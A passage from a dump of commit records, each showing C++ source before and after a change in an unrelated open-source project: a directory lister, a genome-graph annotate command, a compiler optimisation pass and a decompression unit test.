}\n\n    \/\/ clean up\n    closedir(dir);\n    \/\/ go back to where we came from\n    \/\/chdir(\"..\");\n    return true;\n}\n<commit_msg>Better detection of symbolic links.<commit_after>\/* This file is part of Strigi Desktop Search\n *\n * Copyright (C) 2006 Jos van den Oever <jos@vandenoever.info>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB.  If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n *\/\n#include \"jstreamsconfig.h\"\n#include \"filelister.h\"\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"stgdirent.h\" \/\/dirent replacement (includes native if available)\n\n#ifdef HAVE_DIRECT_H\n#include <direct.h>\n#endif\n#include <errno.h>\n#ifndef PATH_MAX\n #define PATH_MAX _MAX_PATH\n#endif\n\nusing namespace std;\n\nFileLister::FileLister() {\n    m_callback = 0;\n    m_dirCallback = 0;\n    path = 0;\n    length = 0;\n}\nFileLister::~FileLister() {\n    if (length) {\n        free(path);\n    }\n}\n#include <stdio.h>\nvoid\nFileLister::listFiles(const char *dir, time_t oldestdate) {\n    if (m_callback == 0) return;\n    m_oldestdate = oldestdate;\n    int len = strlen(dir);\n    resize(len+2);\n    strcpy(path, dir);\n    \/\/ check that the dirname ends in '\/'\n    if (path[len-1] != '\/') {\n        strcpy(path+len, \"\/\");\n        len++;\n    }\n    walk_directory(len);\n}\nchar*\nFileLister::resize(uint len) {\n    if (len > length) {\n        length = len + 100;\n        path = (char*) realloc(path, length);\n    }\n    return path;\n}\n\/**\n * Walk through a directory. The directory name must end in a '\/'.\n **\/\nbool\nFileLister::walk_directory(uint len) {\n    bool expandedPath = false;\n    DIR *dir;\n    struct dirent *subdir;\n    struct stat dirstat;\n\n#ifndef _WIN32\n    \/\/ call dir function callback, actually there's only inotify dir callback\n    if (m_dirCallback != 0)\n        m_dirCallback (path);\n#endif\n\n#ifdef _WIN32\n    \/\/ remove the trailing '\/' on windows machines before the call to opendir(),\n    \/\/ but do not strip off the trailing slash from windows c:\/\n    if ( len > 3) {\n        path[len-1] = '\\0';\n    }\n#endif\n\n    \/\/ open the directory\n    dir = opendir(path);\n    if (dir == 0) {\n        return true;\n    }\n#ifdef _WIN32\n    path[len-1] = '\/';\n#endif\n\n    subdir = readdir(dir);\n    while (subdir) {\n\n        \/\/ skip the directories '.' and '..'\n        char c1 = subdir->d_name[0];\n        if (c1 == '.') {\n            char c2 = subdir->d_name[1];\n            if (c2 == '.' || c2 == '\\0') {\n                subdir = readdir(dir);\n                continue;\n            }\n        }\n\n        uint l = len+strlen(subdir->d_name);\n        path = resize(l+1);\n        strcpy(path+len, subdir->d_name);\n        if (lstat(path, &dirstat) == 0) {\n            bool c = true;\n            if ( S_ISREG(dirstat.st_mode)\n                    && dirstat.st_mtime >= m_oldestdate) {\n                c = m_callback(path, len, l, dirstat.st_mtime);\n            } else if ( dirstat.st_mode & S_IFDIR) {\n                strcpy(path+l, \"\/\");\n                c = walk_directory(l+1);\n            }\n            if (!c) break;\n\/*        } else {\n            fprintf(stderr, \"Could not stat '%s': %s\\n\", cwd,\n                strerror(errno));*\/\n        }\n\n        subdir = readdir(dir);\n    }\n\n    \/\/ clean up\n    closedir(dir);\n    \/\/ go back to where we came from\n    \/\/chdir(\"..\");\n    return true;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"subcommand.hpp\"\n#include \"..\/vg.hpp\"\n#include \"..\/utility.hpp\"\n#include \"..\/mapper.hpp\"\n#include \"..\/stream.hpp\"\n#include \"..\/alignment.hpp\"\n\n#include <unistd.h>\n#include <getopt.h>\n\nusing namespace vg;\nusing namespace vg::subcommand;\n\nvoid help_annotate(char** argv) {\n    cerr << \"usage: \" << argv[0] << \" annotate [options] >output.{gam,vg}\" << endl\n         << \"    -x, --xg-name FILE     an xg index describing a graph\" << endl\n         << \"    -b, --bed-name FILE    a bed file describing a subpath\" << endl\n         << \"    -d, --db-name DIR      a rocksdb index of a GAM\" << endl\n         << \"    -v, --vg FILE          annotate this graph\" << endl\n         << \"    -g, --gcsa FILE        a GCSA2 index file base name\" << endl\n         << \"    -a, --gam FILE         alignments to annotate\" << endl\n         << \"    -p, --positions        annotate alignments with reference positions\" << endl\n         << \"    -n, --novelty          table for each read: name, bp not in xg, nodes not in xg\" << endl;\n}\n\nint main_annotate(int argc, char** argv) {\n    \n    if (argc == 2) {\n        help_annotate(argv);\n        return 1;\n    }\n\n    string xg_name;\n    string rocksdb_name;\n    string gcsa_name;\n    string vg_name;\n    string bed_name;\n    string gam_name;\n    bool add_positions = false;\n    bool novelty = false;\n\n    int c;\n    optind = 2; \/\/ force optind past command positional argument\n    while (true) {\n        static struct option long_options[] =\n        {\n            {\"gam\", required_argument, 0, 'a'},\n            {\"gcsa\", required_argument, 0, 'g'},\n            {\"positions\", no_argument, 0, 'p'},\n            {\"vg\", required_argument, 0, 'v'},\n            {\"xg-name\", required_argument, 0, 'x'},\n            {\"bed-name\", required_argument, 0, 'b'},\n            {\"db-name\", required_argument, 0, 'd'},\n            {\"novelty\", no_argument, 0, 'n'},\n            {0, 0, 0, 0}\n        };\n\n        int option_index = 0;\n        c = getopt_long (argc, argv, \"hx:d:v:g:a:pb:n\",\n                long_options, &option_index);\n\n        \/\/ Detect the end of the options.\n        if (c == -1)\n            break;\n\n        switch (c)\n        {\n        case 'd':\n            rocksdb_name = optarg;\n            break;\n\n        case 'x':\n            xg_name = optarg;\n            break;\n\n        case 'v':\n            vg_name = optarg;\n            break;\n\n        case 'g':\n            gcsa_name = optarg;\n            break;\n\n        case 'a':\n            gam_name = optarg;\n            break;\n\n        case 'b':\n            bed_name = optarg;\n            break;\n\n        case 'p':\n            add_positions = true;\n            break;\n            \n        case 'n':\n            novelty = true;\n            break;\n\n        case 'h':\n        case '?':\n            help_annotate(argv);\n            exit(1);\n            break;\n\n        default:\n            abort ();\n        }\n    }\n    xg::XG* xg_index = nullptr;\n    if (!xg_name.empty()) {\n        ifstream in(xg_name);\n        xg_index = new xg::XG(in);\n    } else {\n        cerr << \"error [vg annotate]: no xg index provided\" << endl;\n        return 1;\n    }\n    \n    Mapper mapper(xg_index, nullptr, nullptr);\n    \n    if (!gam_name.empty()) {\n        vector<Alignment> buffer;\n        if (add_positions) {\n            \/\/map<string, double> Mapper::alignment_mean_path_positions(const Alignment& aln, bool first_hit_only);\n            function<void(Alignment&)> lambda = [&](Alignment& aln) {\n                mapper.annotate_with_initial_path_positions(aln);\n                buffer.push_back(aln);\n                stream::write_buffered(cout, buffer, 100);\n            };\n            get_input_file(gam_name, [&](istream& in) {\n                    stream::for_each(in, lambda);\n                });\n            stream::write_buffered(cout, buffer, 0); \/\/ flush\n        } else if (novelty) {\n            cout << \"name\\tlength.bp\\tunaligned.bp\\tknown.nodes\\tknown.bp\\tnovel.nodes\\tnovel.bp\" << endl;\n            function<void(Alignment&)> lambda = [&](Alignment& aln) {\n                \/\/ count the number of positions in the alignment that aren't in the graph\n                int total_bp = aln.sequence().size();\n                int unaligned_bp = 0;\n                int known_nodes = 0;\n                int known_bp = 0;\n                int novel_nodes = 0;\n                int novel_bp = 0;\n                for (auto& mapping : aln.path().mapping()) {\n                    if (mapping.has_position()) {\n                        auto& pos = mapping.position();\n                        if (xg_index->has_node(pos.node_id())) {\n                            ++known_nodes;\n                            known_bp += mapping_to_length(mapping);\n                        } else {\n                            ++novel_nodes;\n                            novel_bp += mapping_to_length(mapping);\n                        }\n                    } else {\n                        unaligned_bp += mapping_to_length(mapping);\n                    }\n                }\n                cout << aln.name() << \"\\t\"\n                << total_bp << \"\\t\"\n                << unaligned_bp << \"\\t\"\n                << known_nodes << \"\\t\"\n                << known_bp << \"\\t\"\n                << novel_nodes << \"\\t\"\n                << novel_bp << endl;\n            };\n            get_input_file(gam_name, [&](istream& in) {\n                    stream::for_each(in, lambda);\n                });\n        }\n    } else if (!bed_name.empty()) {\n        vector<Alignment> buffer;\n        if (add_positions) {\n            ifstream bed_stream(bed_name.c_str());\n\n            parse_bed_regions(bed_stream, xg_index, &buffer);\n            stream::write_buffered(cout, buffer, 0); \/\/ flush\n        }\n    } else {\n        cerr << \"only GAM or BED annotation is implemented\" << endl;\n        return 1;\n    }\n\n    if (xg_index) {\n        delete xg_index;\n    }\n    \n    return 0;\n}\n\nstatic Subcommand vg_annotate(\"annotate\", \"annotate alignments with graphs and graphs with alignments\",\n                              main_annotate);\n<commit_msg>Add interface as a subcommand<commit_after>#include \"subcommand.hpp\"\n#include \"..\/vg.hpp\"\n#include \"..\/utility.hpp\"\n#include \"..\/mapper.hpp\"\n#include \"..\/stream.hpp\"\n#include \"..\/alignment.hpp\"\n\n#include <unistd.h>\n#include <getopt.h>\n\nusing namespace vg;\nusing namespace vg::subcommand;\n\nvoid help_annotate(char** argv) {\n    cerr << \"usage: \" << argv[0] << \" annotate [options] >output.{gam,vg}\" << endl\n         << \"    -x, --xg-name FILE     an xg index describing a graph\" << endl\n         << \"    -b, --bed-name FILE    a bed file describing a subpath\" << endl\n         << \"    -f, --gff3-name FILE   a gff3 file describing a subpath\" << endl\n         << \"    -t, --gtf-name FILE    a gtf file describing a subpath\" << endl\n         << \"    -d, --db-name DIR      a rocksdb index of a GAM\" << endl\n         << \"    -v, --vg FILE          annotate this graph\" << endl\n         << \"    -g, --gcsa FILE        a GCSA2 index file base name\" << endl\n         << \"    -a, --gam FILE         alignments to annotate\" << endl\n         << \"    -p, --positions        annotate alignments with reference positions\" << endl\n         << \"    -n, --novelty          table for each read: name, bp not in xg, nodes not in xg\" << endl;\n}\n\nint main_annotate(int argc, char** argv) {\n    \n    if (argc == 2) {\n        help_annotate(argv);\n        return 1;\n    }\n\n    string xg_name;\n    string rocksdb_name;\n    string gcsa_name;\n    string vg_name;\n    string bed_name;\n    string gff3_name;\n    string gtf_name;\n    string gam_name;\n    bool add_positions = false;\n    bool novelty = false;\n\n    int c;\n    optind = 2; \/\/ force optind past command positional argument\n    while (true) {\n        static struct option long_options[] =\n        {\n            {\"gam\", required_argument, 0, 'a'},\n            {\"gcsa\", required_argument, 0, 'g'},\n            {\"positions\", no_argument, 0, 'p'},\n            {\"vg\", required_argument, 0, 'v'},\n            {\"xg-name\", required_argument, 0, 'x'},\n            {\"bed-name\", required_argument, 0, 'b'},\n            {\"gff3-name\", required_argument, 0, 'f'},\n            {\"gtf-name\", required_argument, 0, 't'},\n            {\"db-name\", required_argument, 0, 'd'},\n            {\"novelty\", no_argument, 0, 'n'},\n            {0, 0, 0, 0}\n        };\n\n        int option_index = 0;\n        c = getopt_long (argc, argv, \"hx:d:v:g:a:pb:f:t:n\",\n                long_options, &option_index);\n\n        \/\/ Detect the end of the options.\n        if (c == -1)\n            break;\n\n        switch (c)\n        {\n        case 'd':\n            rocksdb_name = optarg;\n            break;\n\n        case 'x':\n            xg_name = optarg;\n            break;\n\n        case 'v':\n            vg_name = optarg;\n            break;\n\n        case 'g':\n            gcsa_name = optarg;\n            break;\n\n        case 'a':\n            gam_name = optarg;\n            break;\n\n        case 'b':\n            bed_name = optarg;\n            break;\n\n        case 'f':\n            gff3_name = optarg;\n            break;\n\n        case 't':\n            gtf_name = optarg;\n            break;\n\n        case 'p':\n            add_positions = true;\n            break;\n            \n        case 'n':\n            novelty = true;\n            break;\n\n        case 'h':\n        case '?':\n            help_annotate(argv);\n            exit(1);\n            break;\n\n        default:\n            abort ();\n        }\n    }\n    xg::XG* xg_index = nullptr;\n    if (!xg_name.empty()) {\n        ifstream in(xg_name);\n        xg_index = new xg::XG(in);\n    } else {\n        cerr << \"error [vg annotate]: no xg index provided\" << endl;\n        return 1;\n    }\n    \n    Mapper mapper(xg_index, nullptr, nullptr);\n    \n    if (!gam_name.empty()) {\n        vector<Alignment> buffer;\n        if (add_positions) {\n            \/\/map<string, double> Mapper::alignment_mean_path_positions(const Alignment& aln, bool first_hit_only);\n            function<void(Alignment&)> lambda = [&](Alignment& aln) {\n                mapper.annotate_with_initial_path_positions(aln);\n                buffer.push_back(aln);\n                stream::write_buffered(cout, buffer, 100);\n            };\n            get_input_file(gam_name, [&](istream& in) {\n                    stream::for_each(in, lambda);\n                });\n            stream::write_buffered(cout, buffer, 0); \/\/ flush\n        } else if (novelty) {\n            cout << \"name\\tlength.bp\\tunaligned.bp\\tknown.nodes\\tknown.bp\\tnovel.nodes\\tnovel.bp\" << endl;\n            function<void(Alignment&)> lambda = [&](Alignment& aln) {\n                \/\/ count the number of positions in the alignment that aren't in the graph\n                int total_bp = aln.sequence().size();\n                int unaligned_bp = 0;\n                int known_nodes = 0;\n                int known_bp = 0;\n                int novel_nodes = 0;\n                int novel_bp = 0;\n                for (auto& mapping : aln.path().mapping()) {\n                    if (mapping.has_position()) {\n                        auto& pos = mapping.position();\n                        if (xg_index->has_node(pos.node_id())) {\n                            ++known_nodes;\n                            known_bp += mapping_to_length(mapping);\n                        } else {\n                            ++novel_nodes;\n                            novel_bp += mapping_to_length(mapping);\n                        }\n                    } else {\n                        unaligned_bp += mapping_to_length(mapping);\n                    }\n                }\n                cout << aln.name() << \"\\t\"\n                << total_bp << \"\\t\"\n                << unaligned_bp << \"\\t\"\n                << known_nodes << \"\\t\"\n                << known_bp << \"\\t\"\n                << novel_nodes << \"\\t\"\n                << novel_bp << endl;\n            };\n            get_input_file(gam_name, [&](istream& in) {\n                    stream::for_each(in, lambda);\n                });\n        }\n    } else if (!bed_name.empty()) {\n        vector<Alignment> buffer;\n        if (add_positions) {\n            ifstream bed_stream(bed_name.c_str());\n\n            parse_bed_regions(bed_stream, xg_index, &buffer);\n            stream::write_buffered(cout, buffer, 0); \/\/ flush\n        }\n    } else if (!gff3_name.empty()) {\n        vector<Alignment> buffer;\n        if (add_positions) {\n            ifstream gff3_stream(gff3_name.c_str());\n\n            parse_gff3_regions(gff3_stream, xg_index, &buffer);\n            stream::write_buffered(cout, buffer, 0); \/\/ flush\n        }\n    } else if (!gtf_name.empty()) {\n        vector<Alignment> buffer;\n        if (add_positions) {\n            ifstream gtf_stream(gtf_name.c_str());\n\n            parse_gtf_regions(gtf_stream, xg_index, &buffer);\n            stream::write_buffered(cout, buffer, 0); \/\/ flush\n        }\n    } else {\n        cerr << \"only GAM or BED annotation is implemented\" << endl;\n        return 1;\n    }\n\n    if (xg_index) {\n        delete xg_index;\n    }\n    \n    return 0;\n}\n\nstatic Subcommand vg_annotate(\"annotate\", \"annotate alignments with graphs and graphs with alignments\",\n                              main_annotate);\n<|endoftext|>"}
{"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2011.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/  http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#include \"tac\/ArithmeticIdentities.hpp\"\n#include \"tac\/OptimizerUtils.hpp\"\n\nusing namespace eddic;\n    \nvoid tac::ArithmeticIdentities::operator()(std::shared_ptr<tac::Quadruple>& quadruple){\n        switch(quadruple->op){\n            case tac::Operator::ADD:\n                if(*quadruple->arg1 == 0){\n                    replaceRight(*this, quadruple, *quadruple->arg2);\n                } else if(*quadruple->arg2 == 0){\n                    replaceRight(*this, quadruple, *quadruple->arg1);\n                }\n\n                break;\n            case tac::Operator::SUB:\n                if(*quadruple->arg2 == 0){\n                    replaceRight(*this, quadruple, *quadruple->arg1);\n                } \n\n                \/\/a = b - b => a = 0\n                else if(*quadruple->arg1 == *quadruple->arg2){\n                    replaceRight(*this, quadruple, 0);\n                }\n                \n                \/\/a = 0 - b => a = -b\n                else if(*quadruple->arg1 == 0){\n                    replaceRight(*this, quadruple, *quadruple->arg2, tac::Operator::MINUS);\n                }\n\n                break;\n            case tac::Operator::MUL:\n                if(*quadruple->arg1 == 1){\n                    replaceRight(*this, quadruple, *quadruple->arg2);\n                } else if(*quadruple->arg2 == 1){\n                    replaceRight(*this, quadruple, *quadruple->arg1);\n                }\n                \n                else if(*quadruple->arg1 == 0){\n                    replaceRight(*this, quadruple, 0);\n                } else if(*quadruple->arg2 == 0){\n                    replaceRight(*this, quadruple, 0);\n                }\n                \n                else if(*quadruple->arg1 == -1){\n                    replaceRight(*this, quadruple, *quadruple->arg2, tac::Operator::MINUS);\n                } else if(*quadruple->arg2 == -1){\n                    replaceRight(*this, quadruple, *quadruple->arg1, tac::Operator::MINUS);\n                }\n\n                break;\n            case tac::Operator::DIV:\n                if(*quadruple->arg2 == 1){\n                    replaceRight(*this, quadruple, *quadruple->arg1);\n                }\n\n                else if(*quadruple->arg1 == 0){\n                    replaceRight(*this, quadruple, 0);\n                }\n\n                \/\/a = b \/ b => a = 1\n                else if(*quadruple->arg1 == *quadruple->arg2){\n                    replaceRight(*this, quadruple, 1);\n                }\n                \n                else if(*quadruple->arg2 == 1){\n                    replaceRight(*this, quadruple, *quadruple->arg1, tac::Operator::MINUS);\n                }\n\n                break;\n            default:\n                break;\n        }\n}\n<commit_msg>Apply arithmetic identities to float<commit_after>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2011.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/  http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#include \"tac\/ArithmeticIdentities.hpp\"\n#include \"tac\/OptimizerUtils.hpp\"\n\nusing namespace eddic;\n    \nvoid tac::ArithmeticIdentities::operator()(std::shared_ptr<tac::Quadruple>& quadruple){\n        switch(quadruple->op){\n            case tac::Operator::ADD:\n                if(*quadruple->arg1 == 0){\n                    replaceRight(*this, quadruple, *quadruple->arg2);\n                } else if(*quadruple->arg2 == 0){\n                    replaceRight(*this, quadruple, *quadruple->arg1);\n                }\n\n                break;\n            case tac::Operator::SUB:\n                if(*quadruple->arg2 == 0){\n                    replaceRight(*this, quadruple, *quadruple->arg1);\n                } \n\n                \/\/a = b - b => a = 0\n                else if(*quadruple->arg1 == *quadruple->arg2){\n                    replaceRight(*this, quadruple, 0);\n                }\n                \n                \/\/a = 0 - b => a = -b\n                else if(*quadruple->arg1 == 0){\n                    replaceRight(*this, quadruple, *quadruple->arg2, tac::Operator::MINUS);\n                }\n\n                break;\n            case tac::Operator::MUL:\n                if(*quadruple->arg1 == 1){\n                    replaceRight(*this, quadruple, *quadruple->arg2);\n                } else if(*quadruple->arg2 == 1){\n                    replaceRight(*this, quadruple, *quadruple->arg1);\n                }\n                \n                else if(*quadruple->arg1 == 0){\n                    replaceRight(*this, quadruple, 0);\n                } else if(*quadruple->arg2 == 0){\n                    replaceRight(*this, quadruple, 0);\n                }\n                \n                else if(*quadruple->arg1 == -1){\n                    replaceRight(*this, quadruple, *quadruple->arg2, tac::Operator::MINUS);\n                } else if(*quadruple->arg2 == -1){\n                    replaceRight(*this, quadruple, *quadruple->arg1, tac::Operator::MINUS);\n                }\n\n                break;\n            case tac::Operator::DIV:\n                if(*quadruple->arg2 == 1){\n                    replaceRight(*this, quadruple, *quadruple->arg1);\n                }\n\n                else if(*quadruple->arg1 == 0){\n                    replaceRight(*this, quadruple, 0);\n                }\n\n                \/\/a = b \/ b => a = 1\n                else if(*quadruple->arg1 == *quadruple->arg2){\n                    replaceRight(*this, quadruple, 1);\n                }\n                \n                else if(*quadruple->arg2 == 1){\n                    replaceRight(*this, quadruple, *quadruple->arg1, tac::Operator::MINUS);\n                }\n\n                break;\n            case tac::Operator::FADD:\n                if(*quadruple->arg1 == 0.0){\n                    replaceRight(*this, quadruple, *quadruple->arg2, tac::Operator::FASSIGN);\n                } else if(*quadruple->arg2 == 0.0){\n                    replaceRight(*this, quadruple, *quadruple->arg1, tac::Operator::FASSIGN);\n                }\n\n                break;\n            case tac::Operator::FSUB:\n                if(*quadruple->arg2 == 0.0){\n                    replaceRight(*this, quadruple, *quadruple->arg1, tac::Operator::FASSIGN);\n                } \n\n                \/\/a = b - b => a = 0\n                else if(*quadruple->arg1 == *quadruple->arg2){\n                    replaceRight(*this, quadruple, 0.0, tac::Operator::FASSIGN);\n                }\n                \n                \/\/a = 0 - b => a = -b\n                else if(*quadruple->arg1 == 0.0){\n                    replaceRight(*this, quadruple, *quadruple->arg2, tac::Operator::FMINUS);\n                }\n\n                break;\n            case tac::Operator::FMUL:\n                if(*quadruple->arg1 == 1.0){\n                    replaceRight(*this, quadruple, *quadruple->arg2, tac::Operator::FASSIGN);\n                } else if(*quadruple->arg2 == 1.0){\n                    replaceRight(*this, quadruple, *quadruple->arg1, tac::Operator::FASSIGN);\n                }\n                \n                else if(*quadruple->arg1 == 0.0){\n                    replaceRight(*this, quadruple, 0.0, tac::Operator::FASSIGN);\n                } else if(*quadruple->arg2 == 0){\n                    replaceRight(*this, quadruple, 0.0, tac::Operator::FASSIGN);\n                }\n                \n                else if(*quadruple->arg1 == -1.0){\n                    replaceRight(*this, quadruple, *quadruple->arg2, tac::Operator::FMINUS);\n                } else if(*quadruple->arg2 == -1.0){\n                    replaceRight(*this, quadruple, *quadruple->arg1, tac::Operator::FMINUS);\n                }\n\n                break;\n            case tac::Operator::FDIV:\n                if(*quadruple->arg2 == 1.0){\n                    replaceRight(*this, quadruple, *quadruple->arg1, tac::Operator::FASSIGN);\n                }\n\n                else if(*quadruple->arg1 == 0.0){\n                    replaceRight(*this, quadruple, 0.0, tac::Operator::FASSIGN);\n                }\n\n                \/\/a = b \/ b => a = 1\n                else if(*quadruple->arg1 == *quadruple->arg2){\n                    replaceRight(*this, quadruple, 1.0, tac::Operator::FASSIGN);\n                }\n                \n                else if(*quadruple->arg2 == 1.0){\n                    replaceRight(*this, quadruple, *quadruple->arg1, tac::Operator::MINUS);\n                }\n\n                break;\n            default:\n                break;\n        }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- *\/\n\/*\n * This file is part of the libetonyek project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include <algorithm>\n#include <string>\n\n#include <boost\/make_shared.hpp>\n\n#include <cppunit\/TestFixture.h>\n#include <cppunit\/extensions\/HelperMacros.h>\n\n#include \"IWASnappyStream.h\"\n#include \"IWORKMemoryStream.h\"\n\nusing namespace libetonyek;\n\nusing std::string;\n\nnamespace test\n{\n\nnamespace\n{\n\nvoid assertCompressed(const string &message, const unsigned char *const expected, const size_t expectedSize, const unsigned char *const compressed, const size_t compressedSize)\n{\n  const RVNGInputStreamPtr_t stream(new IWORKMemoryStream(compressed, compressedSize));\n  const RVNGInputStreamPtr_t uncompressedStream(IWASnappyStream::uncompressBlock(stream));\n  unsigned long uncompressedSize = 0;\n  const unsigned char *const uncompressed = uncompressedStream->read(expectedSize, uncompressedSize);\n  CPPUNIT_ASSERT_EQUAL_MESSAGE(message + \": size\", expectedSize, uncompressedSize);\n  CPPUNIT_ASSERT_MESSAGE(message + \": input exhausted\", uncompressedStream->isEnd());\n  CPPUNIT_ASSERT_MESSAGE(message + \": content\", std::equal(expected, expected + expectedSize, uncompressed));\n}\n\nvoid assertAnyException(const string &message, const unsigned char *const compressed, const size_t compressedSize)\n{\n  const RVNGInputStreamPtr_t stream(new IWORKMemoryStream(compressed, compressedSize));\n  bool exception = false;\n  try\n  {\n    IWASnappyStream uncompressedStream(stream);\n  }\n  catch (...)\n  {\n    exception = true;\n  }\n  CPPUNIT_ASSERT_MESSAGE(message, exception);\n}\n\n}\n\nclass IWASnappyStreamTest : public CPPUNIT_NS::TestFixture\n{\npublic:\n  virtual void setUp();\n  virtual void tearDown();\n\nprivate:\n  CPPUNIT_TEST_SUITE(IWASnappyStreamTest);\n  CPPUNIT_TEST(testSimple);\n  CPPUNIT_TEST(testInvalid);\n  CPPUNIT_TEST_SUITE_END();\n\nprivate:\n  void testSimple();\n  void testInvalid();\n};\n\nvoid IWASnappyStreamTest::setUp()\n{\n}\n\nvoid IWASnappyStreamTest::tearDown()\n{\n}\n\n#define BYTES(b) (reinterpret_cast<const unsigned char *>(b)), (sizeof(b) - 1)\n\nvoid IWASnappyStreamTest::testSimple()\n{\n  \/\/ assertCompressed(\"empty\", BYTES(\"\"), BYTES(\"\\x1\\x0\"));\n  assertCompressed(\"literal run\", BYTES(\"a\"), BYTES(\"\\x1\\x0\\x61\"));\n  assertCompressed(\"literal run\", BYTES(\"ab\"), BYTES(\"\\x2\\x4\\x61\\x62\"));\n  assertCompressed(\"long literal run\", BYTES(\"ab\"), BYTES(\"\\x2\\xf0\\x1\\x61\\x62\"));\n  assertCompressed(\"very long literal run\", BYTES(\"ab\"), BYTES(\"\\x2\\xf4\\x1\\x0\\x61\\x62\"));\n  assertCompressed(\"extra long literal run\", BYTES(\"ab\"), BYTES(\"\\x2\\xf8\\x1\\x0\\x0\\x61\\x62\"));\n  assertCompressed(\"near reference\",\n                   BYTES(\"abcdabcd\"), BYTES(\"\\x8\\xc\\x61\\x62\\x63\\x64\\x1\\x4\"));\n  assertCompressed(\"near reference of length 5\",\n                   BYTES(\"abcdeabcde\"), BYTES(\"\\xa\\x10\\x61\\x62\\x63\\x64\\x65\\x5\\x5\"));\n  assertCompressed(\"near reference to the middle of a run\",\n                   BYTES(\"abcdefbcde\"), BYTES(\"\\xa\\x14\\x61\\x62\\x63\\x64\\x65\\x66\\x1\\x5\"));\n  assertCompressed(\"repeated near reference\",\n                   BYTES(\"abcbcbcb\"), BYTES(\"\\x8\\x8\\x61\\x62\\x63\\x5\\x2\"));\n  assertCompressed(\"far reference\", BYTES(\"aa\"), BYTES(\"\\x2\\x0\\x61\\x2\\x1\\x0\"));\n  assertCompressed(\"far reference of length 2\",\n                   BYTES(\"abab\"), BYTES(\"\\x4\\x4\\x61\\x62\\x6\\x2\\x0\"));\n}\n\nvoid IWASnappyStreamTest::testInvalid()\n{\n  assertAnyException(\"Too short literal run\", BYTES(\"\\x4\\x10\\x61\"));\n  assertAnyException(\"Near reference without any data\", BYTES(\"\\x1\\x5\\x0\"));\n  assertAnyException(\"Far reference without any data\", BYTES(\"\\x1\\x2\\x1\\x0\"));\n}\n\n#undef BYTES\n\nCPPUNIT_TEST_SUITE_REGISTRATION(IWASnappyStreamTest);\n\n}\n\n\/* vim:set shiftwidth=2 softtabstop=2 expandtab: *\/\n<commit_msg>add test for decompression of a complete input<commit_after>\/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- *\/\n\/*\n * This file is part of the libetonyek project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include <algorithm>\n#include <string>\n\n#include <boost\/make_shared.hpp>\n\n#include <cppunit\/TestFixture.h>\n#include <cppunit\/extensions\/HelperMacros.h>\n\n#include \"IWASnappyStream.h\"\n#include \"IWORKMemoryStream.h\"\n\nusing namespace libetonyek;\n\nusing std::string;\n\nnamespace test\n{\n\nnamespace\n{\n\nvoid assertCompressed(const string &message, const unsigned char *const expected, const size_t expectedSize, const unsigned char *const compressed, const size_t compressedSize)\n{\n  const RVNGInputStreamPtr_t stream(new IWORKMemoryStream(compressed, compressedSize));\n  const RVNGInputStreamPtr_t uncompressedStream(IWASnappyStream::uncompressBlock(stream));\n  unsigned long uncompressedSize = 0;\n  const unsigned char *const uncompressed = uncompressedStream->read(expectedSize, uncompressedSize);\n  CPPUNIT_ASSERT_EQUAL_MESSAGE(message + \": size\", expectedSize, uncompressedSize);\n  CPPUNIT_ASSERT_MESSAGE(message + \": input exhausted\", uncompressedStream->isEnd());\n  CPPUNIT_ASSERT_MESSAGE(message + \": content\", std::equal(expected, expected + expectedSize, uncompressed));\n}\n\nvoid assertCompressedFull(const string &message, const unsigned char *const expected, const size_t expectedSize, const unsigned char *const compressed, const size_t compressedSize)\n{\n  const RVNGInputStreamPtr_t stream(new IWORKMemoryStream(compressed, compressedSize));\n  IWASnappyStream uncompressedStream(stream);\n  unsigned long uncompressedSize = 0;\n  const unsigned char *const uncompressed = uncompressedStream.read(expectedSize, uncompressedSize);\n  CPPUNIT_ASSERT_EQUAL_MESSAGE(message + \": size\", expectedSize, uncompressedSize);\n  CPPUNIT_ASSERT_MESSAGE(message + \": input exhausted\", uncompressedStream.isEnd());\n  CPPUNIT_ASSERT_MESSAGE(message + \": content\", std::equal(expected, expected + expectedSize, uncompressed));\n}\n\nvoid assertAnyException(const string &message, const unsigned char *const compressed, const size_t compressedSize)\n{\n  const RVNGInputStreamPtr_t stream(new IWORKMemoryStream(compressed, compressedSize));\n  bool exception = false;\n  try\n  {\n    IWASnappyStream uncompressedStream(stream);\n  }\n  catch (...)\n  {\n    exception = true;\n  }\n  CPPUNIT_ASSERT_MESSAGE(message, exception);\n}\n\n}\n\nclass IWASnappyStreamTest : public CPPUNIT_NS::TestFixture\n{\npublic:\n  virtual void setUp();\n  virtual void tearDown();\n\nprivate:\n  CPPUNIT_TEST_SUITE(IWASnappyStreamTest);\n  CPPUNIT_TEST(testBlock);\n  CPPUNIT_TEST(testInvalid);\n  CPPUNIT_TEST(testFull);\n  